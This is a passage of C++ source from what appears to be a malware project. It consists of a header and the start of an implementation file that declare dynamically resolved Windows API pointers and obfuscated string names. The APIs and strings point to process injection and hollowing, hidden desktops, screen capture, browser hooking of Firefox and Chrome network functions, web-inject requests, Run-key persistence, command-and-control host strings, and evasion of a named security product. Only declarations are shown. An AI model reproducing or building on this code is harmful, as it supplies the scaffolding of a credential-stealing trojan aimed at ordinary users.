*T_DeleteFile) 667 | ( 668 | PCHAR lpFileName 669 | ); 670 | typedef BOOL (WINAPI *T_PathFileExists) 671 | ( 672 | PCHAR pszPath 673 | ); 674 | typedef BOOL (WINAPI *T_CreateDirectory) 675 | ( 676 | PCHAR lpPathName, 677 | LPSECURITY_ATTRIBUTES lpSecurityAttributes 678 | ); 679 | typedef BOOL (WINAPI *T_HttpQueryInfo) 680 | ( 681 | HINTERNET hRequest, 682 | DWORD dwInfoLevel, 683 | LPVOID lpvBuffer, 684 | LPDWORD lpdwBufferLength, 685 | LPDWORD lpdwIndex 686 | ); 687 | typedef NTSTATUS (NTAPI *T_RtlCompressBuffer) 688 | ( 689 | USHORT CompressionFormatAndEngine, 690 | PUCHAR UncompressedBuffer, 691 | ULONG UncompressedBufferSize, 692 | PUCHAR CompressedBuffer, 693 | ULONG CompressedBufferSize, 694 | ULONG UncompressedChunkSize, 695 | PULONG FinalCompressedSize, 696 | PVOID WorkSpace 697 | ); 698 | typedef NTSTATUS (NTAPI *T_RtlGetCompressionWorkSpaceSize) 699 | ( 700 | USHORT CompressionFormatAndEngine, 701 | PULONG CompressBufferWorkSpaceSize, 702 | PULONG CompressFragmentWorkSpaceSize 703 | ); 704 | typedef BOOL (WINAPI *T_SetThreadDesktop) 705 | ( 706 | HDESK hDesktop 707 | ); 708 | typedef HDESK (WINAPI *T_CreateDesktop) 709 | ( 710 | PCHAR lpszDesktop, 711 | PCHAR lpszDevice, 712 | DEVMODE *pDevmode, 713 | DWORD dwFlags, 714 | ACCESS_MASK dwDesiredAccess, 715 | LPSECURITY_ATTRIBUTES lpsa 716 | ); 717 | typedef HDESK (WINAPI *T_OpenDesktop) 718 | ( 719 | PCHAR lpszDesktop, 720 | DWORD dwFlags, 721 | BOOL fInherit, 722 | ACCESS_MASK dwDesiredAccess 723 | ); 724 | typedef BOOL (WINAPI *T_TerminateThread) 725 | ( 726 | HANDLE hThread, 727 | DWORD dwExitCode 728 | ); 729 | typedef BOOL (WINAPI *T_PostMessage) 730 | ( 731 | HWND hWnd, 732 | UINT Msg, 733 | WPARAM wParam, 734 | LPARAM lParam 735 | ); 736 | typedef HWND (WINAPI *T_ChildWindowFromPoint) 737 | ( 738 | HWND hWndParent, 739 | POINT Point 740 | ); 741 | typedef BOOL (WINAPI *T_ScreenToClient) 742 | ( 743 | HWND hWnd, 744 | LPPOINT lpPoint 745 | ); 746 | typedef BOOL (WINAPI *T_MoveWindow) 747 | ( 748 | HWND hWnd, 749 | int X, 750 | int Y, 751 | int nWidth, 752 | int nHeight, 753 | BOOL bRepaint 754 | ); 755 | typedef BOOL (WINAPI *T_GetWindowRect) 756 | ( 757 | HWND hWnd, 758 | LPRECT lpRect 759 | ); 760 | typedef UINT (WINAPI *T_GetMenuItemID) 761 | ( 762 | HMENU hMenu, 763 | int nPos 764 | ); 765 | typedef int (WINAPI *T_MenuItemFromPoint) 766 | ( 767 | HWND hWnd, 768 | HMENU hMenu, 769 | POINT ptScreen 770 | ); 771 | typedef UINT (WINAPI *T_RealGetWindowClass) 772 | ( 773 | HWND hwnd, 774 | LPTSTR pszType, 775 | UINT cchType 776 | ); 777 | typedef BOOL (WINAPI *T_PtInRect) 778 | ( 779 | const RECT *lprc, 780 | POINT pt 781 | ); 782 | typedef BOOL (WINAPI *T_GetWindowPlacement) 783 | ( 784 | HWND hWnd, 785 | WINDOWPLACEMENT *lpwndpl 786 | ); 787 | typedef LONG (WINAPI *T_SetWindowLong) 788 | ( 789 | HWND hWnd, 790 | int nIndex, 791 | LONG dwNewLong 792 | ); 793 | typedef LONG (WINAPI *T_GetWindowLong) 794 | ( 795 | HWND hWnd, 796 | int nIndex 797 | ); 798 | typedef HWND (WINAPI *T_WindowFromPoint) 799 | ( 800 | POINT Point 801 | ); 802 | typedef UINT_PTR (WINAPI *T_SHAppBarMessage) 803 | ( 804 | DWORD dwMessage, 805 | PAPPBARDATA pData 806 | ); 807 | typedef LONG (WINAPI *T_RegQueryValueEx) 808 | ( 809 | HKEY hKey, 810 | LPCTSTR lpValueName, 811 | LPDWORD lpReserved, 812 | LPDWORD lpType, 813 | LPBYTE lpData, 814 | LPDWORD lpcbData 815 | ); 816 | typedef HWND (WINAPI *T_GetDesktopWindow)(); 817 | typedef BOOL (WINAPI *T_DeleteDC) 818 | ( 819 | HDC hdc 820 | ); 821 | typedef int (WINAPI *T_ReleaseDC) 822 | ( 823 | HWND hWnd, 824 | HDC hDC 825 | ); 826 | typedef BOOL (WINAPI *T_DeleteObject) 827 | ( 828 | HGDIOBJ hObject 829 | ); 830 | typedef int (WINAPI *T_GetDIBits) 831 | ( 832 | HDC hdc, 833 | HBITMAP hbmp, 834 | UINT uStartScan, 835 | UINT cScanLines, 836 | LPVOID lpvBits, 837 | LPBITMAPINFO lpbi, 838 | UINT uUsage 839 | ); 840 | typedef BOOL (WINAPI *T_StretchBlt) 841 | ( 842 | HDC hdcDest, 843 | int nXOriginDest, 844 | int nYOriginDest, 845 | int nWidthDest, 846 | int nHeightDest, 847 | HDC hdcSrc, 848 | int nXOriginSrc, 849 | int nYOriginSrc, 850 | int nWidthSrc, 851 | int nHeightSrc, 852 | DWORD dwRop 853 | ); 854 | typedef int (WINAPI *T_SetStretchBltMode) 855 | ( 856 | HDC hdc, 857 | int iStretchMode 858 | ); 859 | typedef HGDIOBJ (WINAPI *T_SelectObject) 860 | ( 861 | HDC hdc, 862 | HGDIOBJ hgdiobj 863 | ); 864 | typedef HDC (WINAPI *T_CreateCompatibleDC) 865 | ( 866 | HDC hdc 867 | ); 868 | typedef HBITMAP (WINAPI *T_CreateCompatibleBitmap) 869 | ( 870 | HDC hdc, 871 | int nWidth, 872 | int nHeight 873 | ); 874 | typedef HDC (WINAPI *T_GetDC) 875 | ( 876 | HWND hWnd 877 | ); 878 | typedef BOOL (WINAPI *T_IsWindowVisible) 879 | ( 880 | HWND hWnd 881 | ); 882 | typedef HWND (WINAPI *T_GetWindow) 883 | ( 884 | HWND hWnd, 885 | UINT uCmd 886 | ); 887 | typedef BOOL (WINAPI *T_BitBlt) 888 | ( 889 | HDC hdcDest, 890 | int nXDest, 891 | int nYDest, 892 | int nWidth, 893 | int nHeight, 894 | HDC hdcSrc, 895 | int nXSrc, 896 | int nYSrc, 897 | DWORD dwRop 898 | ); 899 | typedef BOOL (WINAPI *T_PrintWindow) 900 | ( 901 | HWND hwnd, 902 | HDC hdcBlt, 903 | UINT nFlags 904 | ); 905 | typedef HWND (WINAPI *T_GetTopWindow) 906 | ( 907 | HWND hWnd 908 | ); 909 | typedef NTSTATUS (WINAPI *T_NtUnmapViewOfSection) 910 | ( 911 | HANDLE ProcessHandle, 912 | PVOID BaseAddress 913 | ); 914 | typedef NTSTATUS (WINAPI *T_NtQueryInformationProcess) 915 | ( 916 | HANDLE ProcessHandle, 917 | LPVOID ProcessInformationClass, 918 | PVOID ProcessInformation, 919 | ULONG ProcessInformationLength, 920 | PULONG ReturnLength 921 | ); 922 | typedef BOOL (WINAPI *T_GetThreadContext) 923 | ( 924 | HANDLE hThread, 925 | LPCONTEXT lpContext 926 | ); 927 | typedef BOOL (WINAPI *T_SetThreadContext) 928 | ( 929 | HANDLE hThread, 930 | const CONTEXT *lpContext 931 | ); 932 | typedef int (WINAPI *T_SHFileOperation) 933 | ( 934 | LPSHFILEOPSTRUCTA lpFileOp 935 | ); 936 | typedef HANDLE (WINAPI *T_FindFirstFile) 937 | ( 938 | char *lpFileName, 939 | LPWIN32_FIND_DATAA lpFindFileData 940 | ); 941 | typedef BOOL (WINAPI *T_FindNextFile) 942 | ( 943 | HANDLE hFindFile, 944 | LPWIN32_FIND_DATAA lpFindFileData 945 | ); 946 | } 947 | 948 | namespace Funcs 949 | { 950 | extern Types::T_CloseHandle pCloseHandle; 951 | extern Types::T_MessageBox pMessageBoxA; 952 | extern Types::T_GetWindowsDirectory pGetWindowsDirectoryA; 953 | extern Types::T_WideCharToMultiByte pWideCharToMultiByte; 954 | extern Types::T_LocalAlloc pLocalAlloc; 955 | extern Types::T_wsprintf pWsprintfA; 956 | extern Types::T_MultiByteToWideChar pMultiByteToWideChar; 957 | extern Types::T_malloc pMalloc; 958 | extern Types::T_free pFree; 959 | extern Types::T_VirtualAllocEx pVirtualAllocEx; 960 | extern Types::T_WriteProcessMemory pWriteProcessMemory; 961 | extern Types::T_CreateRemoteThread pCreateRemoteThread; 962 | extern Types::T_LoadLibrary pLoadLibraryA; 963 | extern Types::T_GetProcAddress pGetProcAddress; 964 | extern Types::T_PathRemoveFileSpec pPathRemoveFileSpecA; 965 | extern Types::T_GetModuleFileName pGetModuleFileNameA; 966 | extern Types::T_PathFindFileName pPathFindFileNameA; 967 | extern Types::T_strncmp pStrncmp; 968 | extern Types::T_strncmp pStrnicmp; 969 | extern Types::T_lstrlen pLstrlenA; 970 | extern Types::T_ExitProcess pExitProcess; 971 | extern Types::T_SHGetFolderPath pSHGetFolderPathA; 972 | extern Types::T_lstrcpy pLstrcpyA; 973 | extern Types::T_lstrcat pLstrcatA; 974 | extern Types::T_CopyFile pCopyFileA; 975 | extern Types::T_GetVolumeInformation pGetVolumeInformationA; 976 | extern Types::T_GetUserNameEx pGetUserNameExA; 977 | extern Types::T_LookupAccountName pLookupAccountNameA; 978 | extern Types::T_ConvertSidToStringSid pConvertSidToStringSidA; 979 | extern Types::T_LocalFree pLocalFree; 980 | extern Types::T_memcpy pMemcpy; 981 | extern Types::T_lstrcmp pLstrcmpiA; 982 | extern Types::T_lstrcmp pLstrcmpA; 983 | extern Types::T_StrStr pStrStrA; 984 | extern Types::T_StrStr pStrStrIA; 985 | extern Types::T_strtol pStrtol; 986 | extern Types::T_realloc pRealloc; 987 | extern Types::T_WSAStartup pWSAStartup; 988 | extern Types::T_socket pSocket; 989 | extern Types::T_gethostbyname pGethostbyname; 990 | extern Types::T_htons pHtons; 991 | extern Types::T_connect pConnect; 992 | extern Types::T_send pSend; 993 | extern Types::T_recv pRecv; 994 | extern Types::T_closesocket pClosesocket; 995 | extern Types::T_WSACleanup pWSACleanup; 996 | extern Types::T_memset pMemset; 997 | extern Types::T_Sleep pSleep; 998 | extern Types::T_NtOpenKey pNtOpenKey; 999 | extern Types::T_NtSetValueKey pNtSetValueKey; 1000 | extern Types::T_RtlCreateUserThread pRtlCreateUserThread; 1001 | extern Types::T_CreateProcess pCreateProcessA; 1002 | extern Types::T_InitializeCriticalSection pInitializeCriticalSection; 1003 | extern Types::T_LeaveCriticalSection pLeaveCriticalSection; 1004 | extern Types::T_EnterCriticalSection pEnterCriticalSection; 1005 | extern Types::T_GetLastError pGetLastError; 1006 | extern Types::T_errno pErrno; 1007 | extern Types::T_tolower pTolower; 1008 | extern Types::T_isdigit pIsdigit; 1009 | extern Types::T_strtoul pStrtoul; 1010 | extern Types::T_isxdigit pIsxdigit; 1011 | extern Types::T_strtod pStrtod; 1012 | extern Types::T_CreateToolhelp32Snapshot pCreateToolhelp32Snapshot; 1013 | extern Types::T_Process32First pProcess32First; 1014 | extern Types::T_Process32Next pProcess32Next; 1015 | extern Types::T_StrChr pStrChrA; 1016 | extern Types::T_StrToInt pStrToIntA; 1017 | extern Types::T_GetModuleHandle pGetModuleHandleA; 1018 | extern Types::T_GetFileVersionInfoSize pGetFileVersionInfoSizeA; 1019 | extern Types::T_GetFileVersionInfo pGetFileVersionInfoA; 1020 | extern Types::T_VerQueryValue pVerQueryValueA; 1021 | extern Types::T_GetModuleInformation pGetModuleInformation; 1022 | extern Types::T_memcmp pMemcmp; 1023 | extern Types::T_ExpandEnvironmentStrings pExpandEnvironmentStringsA; 1024 | extern Types::T_GetPrivateProfileSectionNames pGetPrivateProfileSectionNamesA; 1025 | extern Types::T_GetPrivateProfileString pGetPrivateProfileStringA; 1026 | extern Types::T_CreateFile pCreateFileA; 1027 | extern Types::T_ReadFile pReadFile; 1028 | extern Types::T_WriteFile pWriteFile; 1029 | extern Types::T_RegSetValueEx pRegSetValueExA; 1030 | extern Types::T_RegOpenKeyEx pRegOpenKeyExA; 1031 | extern Types::T_RegCloseKey pRegCloseKey; 1032 | extern Types::T_GetFileSize pGetFileSize; 1033 | extern Types::T_ResumeThread pResumeThread; 1034 | extern Types::T_IsWow64Process pIsWow64Process; 1035 | extern Types::T_GetNativeSystemInfo pGetNativeSystemInfo; 1036 | extern Types::T_OpenProcess pOpenProcess; 1037 | extern Types::T_CreateThread pCreateThread; 1038 | extern Types::T_GetUserName pGetUserNameW; 1039 | extern Types::T_GetComputerName pGetComputerNameW; 1040 | extern Types::T_GetVersionEx pGetVersionExA; 1041 | extern Types::T_CreateNamedPipe pCreateNamedPipeA; 1042 | extern Types::T_ConnectNamedPipe pConnectNamedPipe; 1043 | extern Types::T_DisconnectNamedPipe pDisconnectNamedPipe; 1044 | extern Types::T_InternetCrackUrl pInternetCrackUrlA; 1045 | extern Types::T_GetTempPath pGetTempPathA; 1046 | extern Types::T_GetTempFileName pGetTempFileNameA; 1047 | extern Types::T_ShellExecute pShellExecuteA; 1048 | extern Types::T_ioctlsocket pIoctlsocket; 1049 | extern Types::T_ntohs pNtohs; 1050 | extern Types::T_CreateMutex pCreateMutexA; 1051 | extern Types::T_ReleaseMutex pReleaseMutex; 1052 | extern Types::T_NtCreateThreadEx pNtCreateThreadEx; 1053 | extern Types::T_TerminateProcess pTerminateProcess; 1054 | extern Types::T_FindWindow pFindWindowA; 1055 | extern Types::T_GetWindowThreadProcessId pGetWindowThreadProcessId; 1056 | extern Types::T_WaitForSingleObject pWaitForSingleObject; 1057 | extern Types::T_EnumWindows pEnumWindows; 1058 | extern Types::T_GetCurrentProcessId pGetCurrentProcessId; 1059 | extern Types::T_DeleteFile pDeleteFileA; 1060 | extern Types::T_PathFileExists pPathFileExistsA; 1061 | extern Types::T_CreateDirectory pCreateDirectoryA; 1062 | extern Types::T_HttpQueryInfo pHttpQueryInfoA; 1063 | extern Types::T_HttpQueryInfo pHttpQueryInfoW; 1064 | extern Types::T_RtlCompressBuffer pRtlCompressBuffer; 1065 | extern Types::T_RtlGetCompressionWorkSpaceSize pRtlGetCompressionWorkSpaceSize; 1066 | extern Types::T_SetThreadDesktop pSetThreadDesktop; 1067 | extern Types::T_CreateDesktop pCreateDesktopA; 1068 | extern Types::T_OpenDesktop pOpenDesktopA; 1069 | extern Types::T_TerminateThread pTerminateThread; 1070 | extern Types::T_PostMessage pPostMessageA; 1071 | extern Types::T_PostMessage pSendMessageA; 1072 | extern Types::T_ChildWindowFromPoint pChildWindowFromPoint; 1073 | extern Types::T_ScreenToClient pScreenToClient; 1074 | extern Types::T_MoveWindow pMoveWindow; 1075 | extern Types::T_GetWindowRect pGetWindowRect; 1076 | extern Types::T_GetMenuItemID pGetMenuItemID; 1077 | extern Types::T_MenuItemFromPoint pMenuItemFromPoint; 1078 | extern Types::T_RealGetWindowClass pRealGetWindowClassA; 1079 | extern Types::T_PtInRect pPtInRect; 1080 | extern Types::T_GetWindowPlacement pGetWindowPlacement; 1081 | extern Types::T_SetWindowLong pSetWindowLongA; 1082 | extern Types::T_GetWindowLong pGetWindowLongA; 1083 | extern Types::T_WindowFromPoint pWindowFromPoint; 1084 | extern Types::T_SHAppBarMessage pSHAppBarMessage; 1085 | extern Types::T_RegQueryValueEx pRegQueryValueExA; 1086 | extern Types::T_GetDesktopWindow pGetDesktopWindow; 1087 | extern Types::T_DeleteDC pDeleteDC; 1088 | extern Types::T_ReleaseDC pReleaseDC; 1089 | extern Types::T_DeleteObject pDeleteObject; 1090 | extern Types::T_GetDIBits pGetDIBits; 1091 | extern Types::T_StretchBlt pStretchBlt; 1092 | extern Types::T_SetStretchBltMode pSetStretchBltMode; 1093 | extern Types::T_SelectObject pSelectObject; 1094 | extern Types::T_CreateCompatibleDC pCreateCompatibleDC; 1095 | extern Types::T_CreateCompatibleBitmap pCreateCompatibleBitmap; 1096 | extern Types::T_GetDC pGetDC; 1097 | extern Types::T_IsWindowVisible pIsWindowVisible; 1098 | extern Types::T_GetWindow pGetWindow; 1099 | extern Types::T_BitBlt pBitBlt; 1100 | extern Types::T_PrintWindow pPrintWindow; 1101 | extern Types::T_GetTopWindow pGetTopWindow; 1102 | extern Types::T_NtUnmapViewOfSection pNtUnmapViewOfSection; 1103 | extern Types::T_NtQueryInformationProcess pNtQueryInformationProcess; 1104 | extern Types::T_GetThreadContext pGetThreadContext; 1105 | extern Types::T_SetThreadContext pSetThreadContext; 1106 | extern Types::T_SHFileOperation pSHFileOperationA; 1107 | extern Types::T_FindFirstFile pFindFirstFileA; 1108 | extern Types::T_FindNextFile pFindNextFileA; 1109 | } 1110 | 1111 | namespace Strs 1112 | { 1113 | extern const char *host[]; 1114 | extern const char *path; 1115 | extern const char *user32; 1116 | extern const char *kernel32; 1117 | extern const char *kernelBase; 1118 | extern const char *msvcrt; 1119 | extern const char *ntdll; 1120 | extern const char *shlwapi; 1121 | extern const char *shell32; 1122 | extern const char *secur32; 1123 | extern const char *advapi32; 1124 | extern const char *ws2_32; 1125 | extern const char *version; 1126 | extern const char *psapi; 1127 | extern const char *wininet; 1128 | extern const char *gdi32; 1129 | 1130 | extern wchar_t *wKernelBase; 1131 | extern wchar_t *wKernel32; 1132 | extern wchar_t *wNtdll; 1133 | extern wchar_t *wWininet; 1134 | 1135 | extern const char *wideCharToMultiByte; 1136 | extern const char *messageBoxA; 1137 | extern const char *getWindowsDirectoryA; 1138 | extern const char *localAlloc; 1139 | extern const char *wsprintfA; 1140 | extern const char *multiByteToWideChar; 1141 | extern const char *malloc; 1142 | extern const char *free; 1143 | extern const char *virtualAllocEx; 1144 | extern const char *writeProcessMemory; 1145 | extern const char *createRemoteThread; 1146 | extern const char *loadLibraryA; 1147 | extern const char *getProcAddress; 1148 | extern const char *pathRemoveFileSpecA; 1149 | extern const char *getModuleFileNameA; 1150 | extern const char *pathFindFileNameA; 1151 | extern const char *strncmp; 1152 | extern const char *strnicmp; 1153 | extern const char *lstrlenA; 1154 | extern const char *exitProcess; 1155 | extern const char *shGetFolderPathA; 1156 | extern const char *lstrcpyA; 1157 | extern const char *lstrcatA; 1158 | extern const char *copyFileA; 1159 | extern const char *getVolumeInformationA; 1160 | extern const char *getUserNameExA; 1161 | extern const char *lookupAccountNameA; 1162 | extern const char *convertSidToStringSidA; 1163 | extern const char *localFree; 1164 | extern const char *memcpy; 1165 | extern const char *lstrcmpiA; 1166 | extern const char *lstrcmpA; 1167 | extern const char *strStrA; 1168 | extern const char *strStrIA; 1169 | extern const char *strtol; 1170 | extern const char *realloc; 1171 | extern const char *wsaStartup; 1172 | extern const char *socket; 1173 | extern const char *gethostbyname; 1174 | extern const char *htons; 1175 | extern const char *connect; 1176 | extern const char *send; 1177 | extern const char *recv; 1178 | extern const char *closesocket; 1179 | extern const char *wsaCleanup; 1180 | extern const char *memset; 1181 | extern const char *sleep; 1182 | extern const char *ntOpenKey; 1183 | extern const char *closeHandle; 1184 | extern const char *ntSetValueKey; 1185 | extern const char *createProcessA; 1186 | extern const char *enterCriticalSection; 1187 | extern const char *leaveCriticalSection; 1188 | extern const char *initializeCriticalSection; 1189 | extern const char *getLastError; 1190 | extern const char *_errNo; 1191 | extern const char *strTol; 1192 | extern const char *toLower; 1193 | extern const char *isDigit; 1194 | extern const char *strToul; 1195 | extern const char *isXdigit; 1196 | extern const char *strTod; 1197 | extern const char *createToolhelp32Snapshot; 1198 | extern const char *process32First; 1199 | extern const char *process32Next; 1200 | extern const char *strChrA; 1201 | extern const char *strToIntA; 1202 | extern const char *getModuleHandleA; 1203 | extern const char *getFileVersionInfoSizeA; 1204 | extern const char *getFileVersionInfoA; 1205 | extern const char *verQueryValueA; 1206 | extern const char *getModuleInformation; 1207 | extern const char *memcmp; 1208 | extern const char *expandEnvironmentStringsA; 1209 | extern const char *getPrivateProfileSectionNamesA; 1210 | extern const char *getPrivateProfileStringA; 1211 | extern const char *createFileA; 1212 | extern const char *readFile; 1213 | extern const char *writeFile; 1214 | extern const char *regSetValueExA; 1215 | extern const char *regOpenKeyExA; 1216 | extern const char *regCloseKey; 1217 | extern const char *getFileSize; 1218 | extern const char *resumeThread; 1219 | extern const char *isWow64Process; 1220 | extern const char *getNativeSystemInfo; 1221 | extern const char *openProcess; 1222 | extern const char *createThread; 1223 | extern const char *getUserNameW; 1224 | extern const char *getComputerNameW; 1225 | extern const char *getVersionExA; 1226 | extern const char *createNamedPipeA; 1227 | extern const char *connectNamedPipe; 1228 | extern const char *disconnectNamedPipe; 1229 | extern const char *internetCrackUrlA; 1230 | extern const char *getTempPathA; 1231 | extern const char *getTempFileNameA; 1232 | extern const char *shellExecuteA; 1233 | extern const char *ioctlsocket; 1234 | extern const char *ntohs; 1235 | extern const char *createMutexA; 1236 | extern const char *releaseMutex; 1237 | extern const char *ntCreateThreadEx; 1238 | extern const char *terminateProcess; 1239 | extern const char *findWindowA; 1240 | extern const char *getWindowThreadProcessId; 1241 | extern const char *waitForSingleObject; 1242 | extern const char *enumWindows; 1243 | extern const char *getCurrentProcessId; 1244 | extern const char *deleteFileA; 1245 | extern const char *pathFileExistsA; 1246 | extern const char *createDirectoryA; 1247 | extern const char *httpQueryInfoA; 1248 | extern const char *httpQueryInfoW; 1249 | extern const char *rtlCompressBuffer; 1250 | extern const char *rtlGetCompressionWorkSpaceSize; 1251 | extern const char *setThreadDesktop; 1252 | extern const char *createDesktopA; 1253 | extern const char *openDesktopA; 1254 | extern const char *terminateThread; 1255 | extern const char *postMessageA; 1256 | extern const char *sendMessageA; 1257 | extern const char *childWindowFromPoint; 1258 | extern const char *screenToClient; 1259 | extern const char *moveWindow; 1260 | extern const char *getWindowRect; 1261 | extern const char *getMenuItemID; 1262 | extern const char *menuItemFromPoint; 1263 | extern const char *realGetWindowClassA; 1264 | extern const char *ptInRect; 1265 | extern const char *getWindowPlacement; 1266 | extern const char *setWindowLongA; 1267 | extern const char *getWindowLongA; 1268 | extern const char *windowFromPoint; 1269 | extern const char *shAppBarMessage; 1270 | extern const char *regQueryValueExA; 1271 | extern const char *getDesktopWindow; 1272 | extern const char *deleteDc; 1273 | extern const char *releaseDc; 1274 | extern const char *deleteObject; 1275 | extern const char *getDiBits; 1276 | extern const char *stretchBlt; 1277 | extern const char *setStretchBltMode; 1278 | extern const char *selectObject; 1279 | extern const char *createCompatibleDc; 1280 | extern const char *createCompatibleBitmap; 1281 | extern const char *getDc; 1282 | extern const char *isWindowVisible; 1283 | extern const char *getWindow; 1284 | extern const char *bitBlt; 1285 | extern const char *printWindow; 1286 | extern const char *getTopWindow; 1287 | extern const char *ntUnmapViewOfSection; 1288 | extern const char *ntQueryInformationProcess; 1289 | extern const char *getThreadContext; 1290 | extern const char *setThreadContext; 1291 | extern const char *shFileOperationA; 1292 | extern const char *findFirstFileA; 1293 | extern const char *findNextFileA; 1294 | 1295 | extern const char *rtlInitAnsiString; 1296 | extern const char *rtlAnsiStringToUnicodeString; 1297 | extern const char *ldrLoadDll; 1298 | extern const char *ldrGetProcedureAddress; 1299 | extern const char *rtlFreeUnicodeString; 1300 | extern const char *rtlCreateUserThread; 1301 | 1302 | extern const char *helloWorld; 1303 | extern const char *exeExt; 1304 | extern const char *fileDiv; 1305 | extern const char *postSpace; 1306 | extern const char *getSpace; 1307 | extern const char *httpReq1; 1308 | extern const char *httpReq2; 1309 | extern const char *httpReq3; 1310 | extern const char *httpReq4; 1311 | extern const char *httpReq5; 1312 | extern const char *httpReq6; 1313 | extern const char *httpReq7; 1314 | extern const char *httpReq8; 1315 | extern const char *httpReq9; 1316 | extern const char *sprintfIntEscape; 1317 | extern const char *winNewLine; 1318 | extern const char *ntRegPath; 1319 | extern const char *userRunKey; 1320 | extern const char *dllhostExe; 1321 | extern const char *pingRequest; 1322 | extern const char *dll32binRequest; 1323 | extern const char *dll64binRequest; 1324 | extern const char *explorerExe; 1325 | extern const char *firefoxExe; 1326 | extern const char *chromeExe; 1327 | extern const char *edgeExe; 1328 | extern const char *braveExe; 1329 | extern const char *iexploreExe; 1330 | extern const char *powershell; 1331 | extern const char *injectsRequest; 1332 | extern const char *chromeName; 1333 | extern const char *firefoxName; 1334 | extern const char *ieName; 1335 | extern const char *chromeDll; 1336 | extern const char *nss3dll; 1337 | extern const char *nspr4dll; 1338 | extern const char *prRead; 1339 | extern const char *prWrite; 1340 | extern const char *rdata; 1341 | extern const char *fc1; 1342 | extern const char *fc2; 1343 | extern const char *fc3; 1344 | extern const char *fc4; 1345 | extern const char *fc5; 1346 | extern const char *fc6; 1347 | extern const char *fc7; 1348 | extern const char *fc8; 1349 | extern const char *fc9; 1350 | extern const char *fc10; 1351 | extern const char *fc11; 1352 | extern const char *fc12; 1353 | extern const char *headersEnd; 1354 | extern const char *bu1; 1355 | extern const char *bu2; 1356 | extern const char *bu3; 1357 | extern const char *bu4; 1358 | extern const char *bu5; 1359 | extern const char *ie1; 1360 | extern const char *ie2; 1361 | extern const char *ie3; 1362 | extern const char *ie4; 1363 | extern const char *ie5; 1364 | extern const char *ie6; 1365 | extern const char *ie7; 1366 | extern const char *ie8; 1367 | extern const char *ie9; 1368 | extern const char *ie10; 1369 | extern const char *ie11; 1370 | extern const char *exp1; 1371 | extern const char *exp2; 1372 | extern const char *exp3; 1373 | extern const char *exp4; 1374 | extern const char *exp5; 1375 | extern const char *exp6; 1376 | extern const char *exp7; 1377 | extern const char *exp8; 1378 | extern const char *exp9; 1379 | extern const char *exp10; 1380 | extern const char *exp11; 1381 | extern const char *exp12; 1382 | extern const char *exp13; 1383 | extern const char *exp14; 1384 | extern const char *exp15; 1385 | extern const char *exp16; 1386 | extern const char *exp17; 1387 | extern const char *exp18; 1388 | extern const char *exp19; 1389 | extern const char *exp20; 1390 | extern const char *exp21; 1391 | extern const char *exp22; 1392 | extern const char *exp23; 1393 | extern const char *exp24; 1394 | extern const char *exp25; 1395 | extern const char *hd1; 1396 | extern const char *hd2; 1397 | extern const char *hd3; 1398 | extern const char *hd4; 1399 | extern const char *hd5; 1400 | extern const char *hd6; 1401 | extern const char *hd7; 1402 | extern const char *hd8; 1403 | extern const char *hd9; 1404 | extern const char *hd10; 1405 | extern const char *hd11; 1406 | extern const char *hd12; 1407 | extern const char *hd13; 1408 | extern const char *hd14; 1409 | extern const char *hd15; 1410 | extern const char *infoRequest; 1411 | extern const char *pipeName; 1412 | extern const char *open; 1413 | extern const char *hi; 1414 | extern const char *shell_TrayWnd; 1415 | extern const char *verclsidExe; 1416 | extern const char *dll32cachePrefix; 1417 | extern const char *dll64cachePrefix; 1418 | extern const char *loaderDllName; 1419 | extern const char *zoneId; 1420 | extern const char *trusteer; 1421 | 1422 | extern wchar_t *wNss3dll; 1423 | extern wchar_t *wNspr4dll; 1424 | } 1425 | 1426 | void InitApi(); -------------------------------------------------------------------------------- /common/Api.cpp: -------------------------------------------------------------------------------- 1 | #include "Api.h" 2 | #include "Utils.h" 3 | 4 | namespace Funcs 5 | { 6 | Types::T_CloseHandle pCloseHandle; 7 | Types::T_MessageBox pMessageBoxA; 8 | Types::T_GetWindowsDirectory pGetWindowsDirectoryA; 9 | Types::T_WideCharToMultiByte pWideCharToMultiByte; 10 | Types::T_LocalAlloc pLocalAlloc; 11 | Types::T_wsprintf pWsprintfA; 12 | Types::T_MultiByteToWideChar pMultiByteToWideChar; 13 | Types::T_malloc pMalloc; 14 | Types::T_free pFree; 15 | Types::T_VirtualAllocEx pVirtualAllocEx; 16 | Types::T_WriteProcessMemory pWriteProcessMemory; 17 | Types::T_CreateRemoteThread pCreateRemoteThread; 18 | Types::T_LoadLibrary pLoadLibraryA; 19 | Types::T_GetProcAddress pGetProcAddress; 20 | Types::T_PathRemoveFileSpec pPathRemoveFileSpecA; 21 | Types::T_GetModuleFileName pGetModuleFileNameA; 22 | Types::T_PathFindFileName pPathFindFileNameA; 23 | Types::T_strncmp pStrncmp; 24 | Types::T_strncmp pStrnicmp; 25 | Types::T_lstrlen pLstrlenA; 26 | Types::T_ExitProcess pExitProcess; 27 | Types::T_SHGetFolderPath pSHGetFolderPathA; 28 | Types::T_lstrcpy pLstrcpyA; 29 | Types::T_lstrcat pLstrcatA; 30 | Types::T_CopyFile pCopyFileA; 31 | Types::T_GetVolumeInformation pGetVolumeInformationA; 32 | Types::T_GetUserNameEx pGetUserNameExA; 33 | Types::T_LookupAccountName pLookupAccountNameA; 34 | Types::T_ConvertSidToStringSid pConvertSidToStringSidA; 35 | Types::T_LocalFree pLocalFree; 36 | Types::T_memcpy pMemcpy; 37 | Types::T_lstrcmp pLstrcmpiA; 38 | Types::T_lstrcmp pLstrcmpA; 39 | Types::T_StrStr pStrStrA; 40 | Types::T_StrStr pStrStrIA; 41 | Types::T_strtol pStrtol; 42 | Types::T_realloc pRealloc; 43 | Types::T_WSAStartup pWSAStartup; 44 | Types::T_socket pSocket; 45 | Types::T_gethostbyname pGethostbyname; 46 | Types::T_htons pHtons; 47 | Types::T_connect pConnect; 48 | Types::T_send pSend; 49 | Types::T_recv pRecv; 50 | Types::T_closesocket pClosesocket; 51 | Types::T_WSACleanup pWSACleanup; 52 | Types::T_memset pMemset; 53 | Types::T_Sleep pSleep; 54 | Types::T_NtOpenKey pNtOpenKey; 55 | Types::T_NtSetValueKey pNtSetValueKey; 56 | Types::T_RtlCreateUserThread pRtlCreateUserThread; 57 | Types::T_CreateProcess pCreateProcessA; 58 | Types::T_InitializeCriticalSection pInitializeCriticalSection; 59 | Types::T_LeaveCriticalSection pLeaveCriticalSection; 60 | Types::T_EnterCriticalSection pEnterCriticalSection; 61 | Types::T_GetLastError pGetLastError; 62 | Types::T_errno pErrno; 63 | Types::T_tolower pTolower; 64 | Types::T_isdigit pIsdigit; 65 | Types::T_strtoul pStrtoul; 66 | Types::T_isxdigit 